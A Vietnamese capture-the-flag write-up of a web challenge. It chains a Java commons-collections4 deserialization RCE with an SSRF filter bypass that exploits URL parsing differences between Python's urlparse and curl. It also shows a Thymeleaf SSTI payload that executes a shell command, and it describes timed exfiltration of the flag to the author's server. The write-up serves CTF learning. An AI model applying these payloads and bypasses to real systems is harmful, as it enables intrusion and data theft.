Mình xin chia sẻ hướng đi của mình trong bài web 2
Khi truy cập vào challenge thì website hiển thị như sau
¯\_(ツ)_/¯
Tiến hành đọc source code sẽ thấy challenge gồm có 2 service là back và front. Do back chứa flag nên mình sẽ đi phân tích trước.
Service back được viết bằng java. Sau khi decompile ta đọc được source code và biết rằng chương trình sử dụng java version 11, framework spring boot để tạo webserver.
Phân tích nhanh: Sau khi đọc qua source code thì mình phát hiện chương trình có dùng hàm để deserialize dũ liệu được gửi lên thông qua hàm
readObject.
Thêm vào đó, do chương trình sử dụng thư viện commons-collections4 version cũ là 4.0 => Có thể tiến hành RCE qua việc trigger các gadget chain. Các gadget chain này đã được nhiều bạn phân tích trên mạng, mình chỉ việc đem về sử dụng thôi (có thể tham khảo tool ysoserial)!
Tiến hành khai thác: Theo như hướng đi này, ta sẽ tập trung vào controller "/ticket/{info}". Đầu tiên chương trình sẽ lấy dữ liệu gửi lên, base64 decode và check độ dài, sau đó giải nén gzip và tiến hành deserialize. Như vậy sau khi tạo các byte array payload, ta cần gzip rồi sau đó base64 encode để gửi lên server - payload bị giới hạn bởi 2048 kí tự sau khi gzip, trước khi base64 encode. Tuy nhiên khi mình chạy thử, thì payload sau khi gzip đã nhỏ hơn rất nhiều, không vượt quá 2048 kí tự nên không cần phải lo lắng bypass gì cả (đến phần này mình thấy quen quen, hình như đề này giông giống bài jeopardy của năm 2022 thì phải ?!).
Một điều nữa là mình muốn chạy payload một lần thôi để tránh bị phát hiện, đồng thời muốn flag gửi về server mà không cần tác động đến nữa thì phải làm thế nào? Ta có thể cài backdoor, tuy nhiên ở có thể đơn làm đơn giản hơn bằng cách đặt timer cho webserver java đọc flag và gửi đi cách đều trong khoảng thời gian nhất định. Lợi dùng gadget chain commons-collections4, ta có thể dễ dàng load class java tự định nghĩa và chạy đoạn mã java tùy ý. Điều đó nhờ vào việc sử dụng class InvokerTransformer của thư viện commons-collections4.
Do đó payload có thể code như sau
Tuy nhiên RCE chưa phải là xong - service back được config ở file docker không public port, đồng thời không có mạng internet! Vậy làm thế nào để có thể truy cập cũng như gửi payload ra ngoài? Ta phải tiếp tục khai thác service front.
Sau khi đọc qua source code thì mình nhận thấy serice gọi shell command hàm curl với tham số là URL truyền vào => 90% là SSRF để trigger lỗi server back. Tuy nhiên, trong source code cũng filter để tránh ta khai thác lỗi ấy!
FILTERED_HOSTS = ["back"]
FILTERED_PATHS = ["debug", "info", "ticket"]
def is_approved(url):
"""Indicates whether the given URL is allowed to be fetched. This
prevents the server from becoming an open proxy"""
parts = urlparse(url)
host = parts.hostname
path = parts.path
if not parts.scheme in ["http", "https"]:
return False
if host in FILTERED_HOSTS:
return False
for filter_path in FILTERED_PATHS:
if filter_path in path:
return False
return True
Để bypass được hàm check này, ta tiến hành tìm sự khác biệt giữa việc parse url của hàm urlparse trong python và thư viện curl trên linux.
+, Bypass host: Hàm urlparse tuân thủ theo chuẩn format dưới đây
Tuy nhiên thư viện curl lại cho phép 1, 2 hoặc 3 dấu gạch chéo ở sau dấu hai chấm.
(Nguồn https://curl.se/docs/url-syntax.html)
Do vậy, nếu như url sẽ có dạng http:/back và http:///back thì hàm urlparse sau khi parse url sẽ lấy host là None, trong khi đó thư viện curl vẫn parse được host là back!
#! /home/app/venv/bin/python3 test.py
parts = urlparse("http:/back")
host = parts.hostname
print(host)
$ python3 test.py
None
$ curl http:/back
<!DOCTYPE HTML>
<html>
<head>
<title>Hello ASCIS</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
</head>
<body>
<h1>Hello ASCIS</h1>
</body>
$
+, Bypass path: Do curl sẽ tiến hành url decode input một lần nữa, nên ta chỉ cần double encode url ít nhất một kí tự bất kì của path là xong!
Một vấn đề nữa là service back không có internet, do vậy ta có thể lợi dụng lỗi SSRF ở trên để từ server back gọi api đến server front, truyền URL chính là địa chỉ server của chúng ta kèm flag.
Tiến hành khai thác
Lấy được flag bắn về
Sau khi kết thúc cuộc thi thì mình biết được thêm là service back cũng có thể khai thác RCE bởi lỗi SSTI ở thư viện Thymeleaf. Cụ thể ở đoạn sau:
Lỗi này là do Thymeleaf thực hiện eval chuỗi tên template nếu nó được viết theo chuẩn parse mà thư viện quy định (các bạn có thể đọc thêm tại đây)
Build payload
byte[] data = "{\"role\":\"__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('touch /tmp/zz').getInputStream()).next()}__::z\"}".getBytes();
byte[] outBase64 = Base64.getMimeEncoder().encode(data);
String payload = (new String(outBase64)).replaceAll( "\\r\\n", "").replaceAll( "/", "_");
$ ls -lap /tmp
total 24
drwxrwxrwt 1 root root 4096 Nov 14 17:15 ./
drwxr-xr-x 1 root root 4096 Nov 14 17:14 ../
drwxr-xr-x 2 app app 4096 Nov 14 17:14 hsperfdata_app/
-rw-r--r-- 1 app app 0 Nov 14 17:15 zz
$
Việc đọc flag và gửi về server làm tương tự như bên trên
Từ đầu đến cuối giải chỉ biết đi attack và bị attack liên tục...cuối cùng lại được kết quả không được ổn cho lắm. Chẳng biết quãng đường CTF đã được bao lâu mà đến ngày hôm nay vẫn thành tạ của team ☹.
Top comments (0)